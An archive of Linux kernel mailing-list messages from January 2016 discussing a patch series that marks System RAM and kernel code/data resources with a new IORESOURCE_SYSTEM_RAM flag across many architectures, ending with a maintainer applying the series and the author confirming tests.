X-original-sender: bp@alien8.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52500 gmane.linux.kernel.cross-arch:30441 gmane.linux.kernel.mm:144921 gmane.linux.kernel:2133631 gmane.linux.ports.arm.kernel:471474 gmane.linux.ports.parisc:26426 gmane.linux.ports.ppc64.devel:122463 gmane.linux.ports.sh.devel:53171 gmane.linux.ports.sparc:22219
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52500>

Adding the respective arch MLs to CC, as an FYI.

On Tue, Jan 05, 2016 at 11:54:30AM -0700, Toshi Kani wrote:
> Set IORESOURCE_SYSTEM_RAM to 'flags' of resource ranges with
> "System RAM", "Kernel code", "Kernel data", and "Kernel bss".
> 
> Note that:
>  - IORESOURCE_SYSRAM (i.e. modifier bit) is set to 'flags'
>    when IORESOURCE_MEM is already set.  IORESOURCE_SYSTEM_RAM
>    is defined as (IORESOURCE_MEM|IORESOURCE_SYSRAM).
>  - Some archs do not set 'flags' for children nodes, such as
>    "Kernel code".  This patch does not change 'flags' in this
>    case.
> 
> Cc: linux-arch@vger.kernel.org
> Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
> ---
>  arch/arm/kernel/setup.c       |    6 +++---
>  arch/arm64/kernel/setup.c     |    6 +++---
>  arch/avr32/kernel/setup.c     |    6 +++---
>  arch/m32r/kernel/setup.c      |    4 ++--
>  arch/mips/kernel/setup.c      |   10 ++++++----
>  arch/parisc/mm/init.c         |    6 +++---
>  arch/powerpc/mm/mem.c         |    2 +-
>  arch/s390/kernel/setup.c      |    8 ++++----
>  arch/score/kernel/setup.c     |    2 +-
>  arch/sh/kernel/setup.c        |    8 ++++----
>  arch/sparc/mm/init_64.c       |    8 ++++----
>  arch/tile/kernel/setup.c      |   11 ++++++++---
>  arch/unicore32/kernel/setup.c |    6 +++---
>  13 files changed, 45 insertions(+), 38 deletions(-)
> 
> diff --git a/arch/arm/kernel/setup.c b/arch/arm/kernel/setup.c
> index 20edd34..ae44e09 100644
> --- a/arch/arm/kernel/setup.c
> +++ b/arch/arm/kernel/setup.c
> @@ -173,13 +173,13 @@ static struct resource mem_res[] = {
>  		.name = "Kernel code",
>  		.start = 0,
>  		.end = 0,
> -		.flags = IORESOURCE_MEM
> +		.flags = IORESOURCE_SYSTEM_RAM
>  	},
>  	{
>  		.name = "Kernel data",
>  		.start = 0,
>  		.end = 0,
> -		.flags = IORESOURCE_MEM
> +		.flags = IORESOURCE_SYSTEM_RAM
>  	}
>  };
>  
> @@ -781,7 +781,7 @@ static void __init request_standard_resources(const struct machine_desc *mdesc)
>  		res->name  = "System RAM";
>  		res->start = __pfn_to_phys(memblock_region_memory_base_pfn(region));
>  		res->end = __pfn_to_phys(memblock_region_memory_end_pfn(region)) - 1;
> -		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
> +		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
>  
>  		request_resource(&iomem_resource, res);
>  
> diff --git a/arch/arm64/kernel/setup.c b/arch/arm64/kernel/setup.c
> index 8119479..450987d 100644
> --- a/arch/arm64/kernel/setup.c
> +++ b/arch/arm64/kernel/setup.c
> @@ -73,13 +73,13 @@ static struct resource mem_res[] = {
>  		.name = "Kernel code",
>  		.start = 0,
>  		.end = 0,
> -		.flags = IORESOURCE_MEM
> +		.flags = IORESOURCE_SYSTEM_RAM
>  	},
>  	{
>  		.name = "Kernel data",
>  		.start = 0,
>  		.end = 0,
> -		.flags = IORESOURCE_MEM
> +		.flags = IORESOURCE_SYSTEM_RAM
>  	}
>  };
>  
> @@ -210,7 +210,7 @@ static void __init request_standard_resources(void)
>  		res->name  = "System RAM";
>  		res->start = __pfn_to_phys(memblock_region_memory_base_pfn(region));
>  		res->end = __pfn_to_phys(memblock_region_memory_end_pfn(region)) - 1;
> -		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
> +		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
>  
>  		request_resource(&iomem_resource, res);
>  
> diff --git a/arch/avr32/kernel/setup.c b/arch/avr32/kernel/setup.c
> index 209ae5a..e692889 100644
> --- a/arch/avr32/kernel/setup.c
> +++ b/arch/avr32/kernel/setup.c
> @@ -49,13 +49,13 @@ static struct resource __initdata kernel_data = {
>  	.name	= "Kernel data",
>  	.start	= 0,
>  	.end	= 0,
> -	.flags	= IORESOURCE_MEM,
> +	.flags	= IORESOURCE_SYSTEM_RAM,
>  };
>  static struct resource __initdata kernel_code = {
>  	.name	= "Kernel code",
>  	.start	= 0,
>  	.end	= 0,
> -	.flags	= IORESOURCE_MEM,
> +	.flags	= IORESOURCE_SYSTEM_RAM,
>  	.sibling = &kernel_data,
>  };
>  
> @@ -134,7 +134,7 @@ add_physical_memory(resource_size_t start, resource_size_t end)
>  	new->start = start;
>  	new->end = end;
>  	new->name = "System RAM";
> -	new->flags = IORESOURCE_MEM;
> +	new->flags = IORESOURCE_SYSTEM_RAM;
>  
>  	*pprev = new;
>  }
> diff --git a/arch/m32r/kernel/setup.c b/arch/m32r/kernel/setup.c
> index 0392112..5f62ff0 100644
> --- a/arch/m32r/kernel/setup.c
> +++ b/arch/m32r/kernel/setup.c
> @@ -70,14 +70,14 @@ static struct resource data_resource = {
>  	.name   = "Kernel data",
>  	.start  = 0,
>  	.end    = 0,
> -	.flags  = IORESOURCE_BUSY | IORESOURCE_MEM
> +	.flags  = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
>  };
>  
>  static struct resource code_resource = {
>  	.name   = "Kernel code",
>  	.start  = 0,
>  	.end    = 0,
> -	.flags  = IORESOURCE_BUSY | IORESOURCE_MEM
> +	.flags  = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
>  };
>  
>  unsigned long memory_start;
> diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
> index 66aac55..c385af1 100644
> --- a/arch/mips/kernel/setup.c
> +++ b/arch/mips/kernel/setup.c
> @@ -732,21 +732,23 @@ static void __init resource_init(void)
>  			end = HIGHMEM_START - 1;
>  
>  		res = alloc_bootmem(sizeof(struct resource));
> +
> +		res->start = start;
> +		res->end = end;
> +		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
> +
>  		switch (boot_mem_map.map[i].type) {
>  		case BOOT_MEM_RAM:
>  		case BOOT_MEM_INIT_RAM:
>  		case BOOT_MEM_ROM_DATA:
>  			res->name = "System RAM";
> +			res->flags |= IORESOURCE_SYSRAM;
>  			break;
>  		case BOOT_MEM_RESERVED:
>  		default:
>  			res->name = "reserved";
>  		}
>  
> -		res->start = start;
> -		res->end = end;
> -
> -		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
>  		request_resource(&iomem_resource, res);
>  
>  		/*
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index 1b366c4..3c07d6b 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -55,12 +55,12 @@ signed char pfnnid_map[PFNNID_MAP_MAX] __read_mostly;
>  
>  static struct resource data_resource = {
>  	.name	= "Kernel data",
> -	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM,
> +	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
>  };
>  
>  static struct resource code_resource = {
>  	.name	= "Kernel code",
> -	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM,
> +	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
>  };
>  
>  static struct resource pdcdata_resource = {
> @@ -201,7 +201,7 @@ static void __init setup_bootmem(void)
>  		res->name = "System RAM";
>  		res->start = pmem_ranges[i].start_pfn << PAGE_SHIFT;
>  		res->end = res->start + (pmem_ranges[i].pages << PAGE_SHIFT)-1;
> -		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
> +		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
>  		request_resource(&iomem_resource, res);
>  	}
>  
> diff --git a/arch/powerpc/mm/mem.c b/arch/powerpc/mm/mem.c
> index 22d94c3..e78a2b7 100644
> --- a/arch/powerpc/mm/mem.c
> +++ b/arch/powerpc/mm/mem.c
> @@ -541,7 +541,7 @@ static int __init add_system_ram_resources(void)
>  			res->name = "System RAM";
>  			res->start = base;
>  			res->end = base + size - 1;
> -			res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
> +			res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
>  			WARN_ON(request_resource(&iomem_resource, res) < 0);
>  		}
>  	}
> diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
> index c837bca..b65a883 100644
> --- a/arch/s390/kernel/setup.c
> +++ b/arch/s390/kernel/setup.c
> @@ -376,17 +376,17 @@ static void __init setup_lowcore(void)
>  
>  static struct resource code_resource = {
>  	.name  = "Kernel code",
> -	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
> +	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
>  };
>  
>  static struct resource data_resource = {
>  	.name = "Kernel data",
> -	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
> +	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
>  };
>  
>  static struct resource bss_resource = {
>  	.name = "Kernel bss",
> -	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
> +	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
>  };
>  
>  static struct resource __initdata *standard_resources[] = {
> @@ -410,7 +410,7 @@ static void __init setup_resources(void)
>  
>  	for_each_memblock(memory, reg) {
>  		res = alloc_bootmem_low(sizeof(*res));
> -		res->flags = IORESOURCE_BUSY | IORESOURCE_MEM;
> +		res->flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM;
>  
>  		res->name = "System RAM";
>  		res->start = reg->base;
> diff --git a/arch/score/kernel/setup.c b/arch/score/kernel/setup.c
> index b48459a..f3a0649 100644
> --- a/arch/score/kernel/setup.c
> +++ b/arch/score/kernel/setup.c
> @@ -101,7 +101,7 @@ static void __init resource_init(void)
>  	res->name = "System RAM";
>  	res->start = MEMORY_START;
>  	res->end = MEMORY_START + MEMORY_SIZE - 1;
> -	res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
> +	res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
>  	request_resource(&iomem_resource, res);
>  
>  	request_resource(res, &code_resource);
> diff --git a/arch/sh/kernel/setup.c b/arch/sh/kernel/setup.c
> index de19cfa..3f1c18b 100644
> --- a/arch/sh/kernel/setup.c
> +++ b/arch/sh/kernel/setup.c
> @@ -78,17 +78,17 @@ static char __initdata command_line[COMMAND_LINE_SIZE] = { 0, };
>  
>  static struct resource code_resource = {
>  	.name = "Kernel code",
> -	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
> +	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
>  };
>  
>  static struct resource data_resource = {
>  	.name = "Kernel data",
> -	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
> +	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
>  };
>  
>  static struct resource bss_resource = {
>  	.name	= "Kernel bss",
> -	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM,
> +	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
>  };
>  
>  unsigned long memory_start;
> @@ -202,7 +202,7 @@ void __init __add_active_range(unsigned int nid, unsigned long start_pfn,
>  	res->name = "System RAM";
>  	res->start = start;
>  	res->end = end - 1;
> -	res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
> +	res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
>  
>  	if (request_resource(&iomem_resource, res)) {
>  		pr_err("unable to request memory_resource 0x%lx 0x%lx\n",
> diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
> index 3025bd5..a02d43d 100644
> --- a/arch/sparc/mm/init_64.c
> +++ b/arch/sparc/mm/init_64.c
> @@ -2862,17 +2862,17 @@ void hugetlb_setup(struct pt_regs *regs)
>  
>  static struct resource code_resource = {
>  	.name	= "Kernel code",
> -	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
> +	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
>  };
>  
>  static struct resource data_resource = {
>  	.name	= "Kernel data",
> -	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
> +	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
>  };
>  
>  static struct resource bss_resource = {
>  	.name	= "Kernel bss",
> -	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
> +	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
>  };
>  
>  static inline resource_size_t compute_kern_paddr(void *addr)
> @@ -2908,7 +2908,7 @@ static int __init report_memory(void)
>  		res->name = "System RAM";
>  		res->start = pavail[i].phys_addr;
>  		res->end = pavail[i].phys_addr + pavail[i].reg_size - 1;
> -		res->flags = IORESOURCE_BUSY | IORESOURCE_MEM;
> +		res->flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM;
>  
>  		if (insert_resource(&iomem_resource, res) < 0) {
>  			pr_warn("Resource insertion failed.\n");
> diff --git a/arch/tile/kernel/setup.c b/arch/tile/kernel/setup.c
> index 6b755d1..6606fe2 100644
> --- a/arch/tile/kernel/setup.c
> +++ b/arch/tile/kernel/setup.c
> @@ -1632,14 +1632,14 @@ static struct resource data_resource = {
>  	.name	= "Kernel data",
>  	.start	= 0,
>  	.end	= 0,
> -	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
> +	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
>  };
>  
>  static struct resource code_resource = {
>  	.name	= "Kernel code",
>  	.start	= 0,
>  	.end	= 0,
> -	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
> +	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
>  };
>  
>  /*
> @@ -1673,10 +1673,15 @@ insert_ram_resource(u64 start_pfn, u64 end_pfn, bool reserved)
>  		kzalloc(sizeof(struct resource), GFP_ATOMIC);
>  	if (!res)
>  		return NULL;
> -	res->name = reserved ? "Reserved" : "System RAM";
>  	res->start = start_pfn << PAGE_SHIFT;
>  	res->end = (end_pfn << PAGE_SHIFT) - 1;
>  	res->flags = IORESOURCE_BUSY | IORESOURCE_MEM;
> +	if (reserved) {
> +		res->name = "Reserved";
> +	} else {
> +		res->name = "System RAM";
> +		res->flags |= IORESOURCE_SYSRAM;
> +	}
>  	if (insert_resource(&iomem_resource, res)) {
>  		kfree(res);
>  		return NULL;
> diff --git a/arch/unicore32/kernel/setup.c b/arch/unicore32/kernel/setup.c
> index 3fa317f..c2bffa5 100644
> --- a/arch/unicore32/kernel/setup.c
> +++ b/arch/unicore32/kernel/setup.c
> @@ -72,13 +72,13 @@ static struct resource mem_res[] = {
>  		.name = "Kernel code",
>  		.start = 0,
>  		.end = 0,
> -		.flags = IORESOURCE_MEM
> +		.flags = IORESOURCE_SYSTEM_RAM
>  	},
>  	{
>  		.name = "Kernel data",
>  		.start = 0,
>  		.end = 0,
> -		.flags = IORESOURCE_MEM
> +		.flags = IORESOURCE_SYSTEM_RAM
>  	}
>  };
>  
> @@ -211,7 +211,7 @@ request_standard_resources(struct meminfo *mi)
>  		res->name  = "System RAM";
>  		res->start = mi->bank[i].start;
>  		res->end   = mi->bank[i].start + mi->bank[i].size - 1;
> -		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
> +		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
>  
>  		request_resource(&iomem_resource, res);
>  
> 

-- 
Regards/Gruss,
    Boris.

ECO tip #101: Trim your mails when you reply.



From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <bp@alien8.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.kexec,gmane.linux.kernel.samsung-soc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.acpi.devel,gmane.linux.kernel
Subject: Re: [PATCH v3 00/17] Enhance iomem search interfaces and support
 EINJ to NVDIMM
Date: Mon, 25 Jan 2016 20:18:04 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20160125191804.GE14030@pd.tnic>
References: <1452020068-26492-1-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1453749526 31926 80.91.229.3 (25 Jan 2016 19:18:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 19:18:46 +0000 (UTC)
Cc: akpm@linux-foundation.org, torvalds@linux-foundation.org,
	rafael.j.wysocki@intel.com, dan.j.williams@intel.com,
	dyoung@redhat.com, x86@kernel.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	kexec@lists.infradead.org, xen-devel@lists.xenproject.org,
	linux-samsung-soc@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mm@kvack.org, linux-nvdimm@lists.01.org,
	linux-acpi@vger.kernel.org, linux-kernel@vger.kernel.org
To: Toshi Kani <toshi.kani@hpe.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Jan 25 20:18:43 2016
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1aNmew-0002db-S0
	for glpi-linux-ia64-2@plane.gmane.org; Mon, 25 Jan 2016 20:18:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757515AbcAYTSl (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Mon, 25 Jan 2016 14:18:41 -0500
Original-Received: from mail.skyhub.de ([78.46.96.112]:44463 "EHLO mail.skyhub.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757451AbcAYTSk (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Mon, 25 Jan 2016 14:18:40 -0500
X-Virus-Scanned: Nedap ESD1 at mail.skyhub.de
Original-Received: from mail.skyhub.de ([127.0.0.1])
	by localhost (door.skyhub.de [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id UZD83u-wxf+A; Mon, 25 Jan 2016 20:18:38 +0100 (CET)
Original-Received: from pd.tnic (p200300454B387A000A606EFFFE5584DC.dip0.t-ipconnect.de [IPv6:2003:45:4b38:7a00:a60:6eff:fe55:84dc])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id EE8801DA2BC;
	Mon, 25 Jan 2016 20:18:37 +0100 (CET)
Original-Received: by pd.tnic (Postfix, from userid 1000)
	id 59A87160C7D; Mon, 25 Jan 2016 20:18:04 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1452020068-26492-1-git-send-email-toshi.kani@hpe.com>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:26248 gmane.linux.ports.parisc:26427 gmane.linux.ports.sh.devel:53201 gmane.linux.kernel.kexec:15198 gmane.linux.kernel.samsung-soc:51507 gmane.linux.kernel.cross-arch:30464 gmane.linux.kernel.mm:145026 gmane.linux.acpi.devel:81393 gmane.linux.kernel:2134952
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/26248>

On Tue, Jan 05, 2016 at 11:54:28AM -0700, Toshi Kani wrote:
> This patch-set enhances the iomem table and its search interfacs, and
> then changes EINJ to support NVDIMM.
> 
>  - Patches 1-2 add a new System RAM type, IORESOURCE_SYSTEM_RAM, and
>    make the iomem search interfaces work with resource flags with
>    modifier bits set.  IORESOURCE_SYSTEM_RAM has IORESOURCE_MEM bit set
>    for backward compatibility.
> 
>  - Patch 3 adds a new field, I/O resource descriptor, into struct resource.
>    Drivers can assign their unique descritor to a range when they support
>    the iomem search interfaces.
> 
>  - Patches 4-9 changes initializations of resource entries.  They set
>    the System RAM type to System RAM ranges, set I/O resource descriptors
>    to the regions targeted by the iomem search interfaces, and change
>    to call kzalloc() where kmalloc() is used to allocate struct resource
>    ranges.
> 
>  - Patches 10-14 extend the iomem interfaces to check System RAM ranges
>    with the System RAM type and the I/O resource descriptor.
> 
>  - Patch 15-16 remove deprecated walk_iomem_res().
> 
>  - Patch 17 changes the EINJ driver to allow injecting a memory error
>    to NVDIMM.

Ok, all applied ontop of 4.5-rc1.

You could take a look if everything's still fine and I haven't botched
anything:

http://git.kernel.org/cgit/linux/kernel/git/bp/bp.git/log/?h=tip-mm

I'll let the build bot chew on it and then test it here and send it out
again to everyone on CC so that people don't act surprised.

Thanks for this cleanup, code looks much better now!

-- 
Regards/Gruss,
    Boris.

ECO tip #101: Trim your mails when you reply.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Toshi Kani <toshi.kani@hpe.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.kexec,gmane.linux.kernel.samsung-soc,gmane.linux.kernel.cross-arch,gmane.linux.acpi.devel,gmane.linux.kernel
Subject: Re: [PATCH v3 00/17] Enhance iomem search interfaces and support
 EINJ to NVDIMM
Date: Mon, 25 Jan 2016 14:34:21 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <1453757661.834.99.camel@hpe.com>
References: <1452020068-26492-1-git-send-email-toshi.kani@hpe.com>
	 <20160125191804.GE14030@pd.tnic>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1453757741 6106 80.91.229.3 (25 Jan 2016 21:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 21:35:41 +0000 (UTC)
Cc: akpm@linux-foundation.org, torvalds@linux-foundation.org, 
	rafael.j.wysocki@intel.com, dan.j.williams@intel.com, dyoung@redhat.com, 
	x86@kernel.org, linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org, 
	linux-sh@vger.kernel.org, kexec@lists.infradead.org, 
	xen-devel@lists.xenproject.org, linux-samsung-soc@vger.kernel.org, 
	linux-arch@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, 
	linux-acpi@vger.kernel.org, linux-kernel@vger.kernel.org
To: Borislav Petkov <bp@alien8.de>
Original-X-From: owner-linux-mm@kvack.org Mon Jan 25 22:35:28 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aNonE-0003Nf-CR
	for glkm-linux-mm-2@m.gmane.org; Mon, 25 Jan 2016 22:35:24 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 074376B0009; Mon, 25 Jan 2016 16:35:23 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 0238D6B0253; Mon, 25 Jan 2016 16:35:22 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E7CC06B0254; Mon, 25 Jan 2016 16:35:22 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pf0-f171.google.com (mail-pf0-f171.google.com [209.85.192.171])
	by kanga.kvack.org (Postfix) with ESMTP id BA6D26B0009
	for <linux-mm@kvack.org>; Mon, 25 Jan 2016 16:35:22 -0500 (EST)
Original-Received: by mail-pf0-f171.google.com with SMTP id 65so381436pfd.2
        for <linux-mm@kvack.org>; Mon, 25 Jan 2016 13:35:22 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:message-id
         :subject:from:to:cc:date:in-reply-to:references:content-type
         :mime-version:content-transfer-encoding;
        bh=c6HnD1NjVMX6m7KE7ptolA+MYWBvxtaDdjALGtNcYgY=;
        b=Y+cWA5n20qM32fIn5Yz8kIt3HZRNfKU9Zz66VSIyHTGiGqDDU5fyf0+9QYO4QgDyXi
         GuASeU0iJXTBwZBdNYCwToJzLNUFeL20lNTAswnEDv36xXgha4ODv9T3Tpkk4Fsm9FAO
         Tr68h1jnwhUqHKXlh9lO3c3gcXAAxuMt0z4EKfD5izfSekswrCscPwBzN5nR3QXtqixy
         wF5RqpJs5xmQ/ejXX1bIFFUfjGjzC5D0+JY6ZEADNMRYam7yg53Tm6MaAtUTzhgfYTM2
         shPlbN+CKtvkn9ZH776SkE7yZ8pCbtE1Gci3QOHBJDU7bCCPozGhMoI2NCpmbbXT4jUG
         3uxQ==
X-Original-Authentication-Results: mx.google.com;       spf=neutral (google.com: 15.217.128.53 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
X-Gm-Message-State: AG10YOTxLtR+PToYmSyj2A+1YJrugHxUbAnknuhU0T4jAeHIqFtkiHf5A4hIkp/QzjqwrwDJ8Rv8uYWeRQIlquPZXHB12OqryknRSjgUZ/eS2A9wBohKOE6P+4q2joSuSI6osgJvGwvqyVjsTDDdOtXANCb41tubISIAJIfM91DSotNzaZ8AHYOYfg==
X-Received: by 10.98.11.151 with SMTP id 23mr29041154pfl.93.1453757722508;
        Mon, 25 Jan 2016 13:35:22 -0800 (PST)
X-Received: by 10.98.11.151 with SMTP id 23mr29041132pfl.93.1453757722154;
        Mon, 25 Jan 2016 13:35:22 -0800 (PST)
Original-Received: from g2t2354.austin.hp.com (g2t2354.austin.hp.com. [15.217.128.53])
        by mx.google.com with ESMTPS id fg8si36097219pad.227.2016.01.25.13.35.21
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 25 Jan 2016 13:35:22 -0800 (PST)
Received-SPF: neutral (google.com: 15.217.128.53 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) client-ip=15.217.128.53;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 15.217.128.53 is neither permitted nor denied by best guess record for domain of toshi.kani@hpe.com) smtp.mailfrom=toshi.kani@hpe.com
Original-Received: from g2t2360.austin.hp.com (g2t2360.austin.hp.com [16.197.8.247])
	by g2t2354.austin.hp.com (Postfix) with ESMTP id 2313349;
	Mon, 25 Jan 2016 21:35:19 +0000 (UTC)
Original-Received: from misato.fc.hp.com (misato.fc.hp.com [16.78.168.61])
	by g2t2360.austin.hp.com (Postfix) with ESMTP id 406D24D;
	Mon, 25 Jan 2016 21:35:16 +0000 (UTC)
In-Reply-To: <20160125191804.GE14030@pd.tnic>
X-Mailer: Evolution 3.16.5 (3.16.5-3.fc22) 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:145033 gmane.linux.ports.ia64:26249 gmane.linux.ports.parisc:26428 gmane.linux.ports.sh.devel:53206 gmane.linux.kernel.kexec:15200 gmane.linux.kernel.samsung-soc:51508 gmane.linux.kernel.cross-arch:30466 gmane.linux.acpi.devel:81400 gmane.linux.kernel:2135049
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/145033>

On Mon, 2016-01-25 at 20:18 +0100, Borislav Petkov wrote:
> On Tue, Jan 05, 2016 at 11:54:28AM -0700, Toshi Kani wrote:
> > This patch-set enhances the iomem table and its search interfacs, and
> > then changes EINJ to support NVDIMM.
> > 
 :
> 
> Ok, all applied ontop of 4.5-rc1.
> 
> You could take a look if everything's still fine and I haven't botched
> anything:
> 
> http://git.kernel.org/cgit/linux/kernel/git/bp/bp.git/log/?h=tip-mm

I verified the patches and tested the kernel in the tree.  All look good.

> I'll let the build bot chew on it and then test it here and send it out
